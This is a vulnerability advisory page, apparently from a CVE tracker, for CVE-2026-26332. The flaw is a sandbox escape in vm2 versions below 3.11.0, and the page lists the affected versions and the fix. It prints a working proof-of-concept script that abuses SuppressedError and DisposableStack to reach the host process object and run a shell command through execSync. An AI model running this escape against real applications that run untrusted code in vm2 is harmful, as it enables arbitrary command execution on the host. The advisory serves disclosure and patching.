Live › vulnerability › CVE-2026-26332
vm2 is a Node.js library for running untrusted JavaScript in a sandbox. A crafted use of SuppressedError inside the sandbox lets attacker code break out and run arbitrary commands on the host.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-04 03:31 UTC, 0h before NVD. All times on this page are UTC.
Applications that run untrusted or user-supplied JavaScript through vm2 are exposed, because the sandbox can be escaped. Projects that only use vm2 on trusted code they wrote themselves are at much lower risk. The advisory's proof of concept runs on Node.js v24.13.0 with vm2 3.10.4.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| vm2 | npm | < 3.11.0 | 3.11.0 |
| vm2 project vm2 | vendor | < 3.11.0 | 3.11.0 |
npm ls vm23.11.0new VM().run(...)3.11.0Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);
This page as .md · .json · in your agent: get_signal("CVE-2026-26332")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.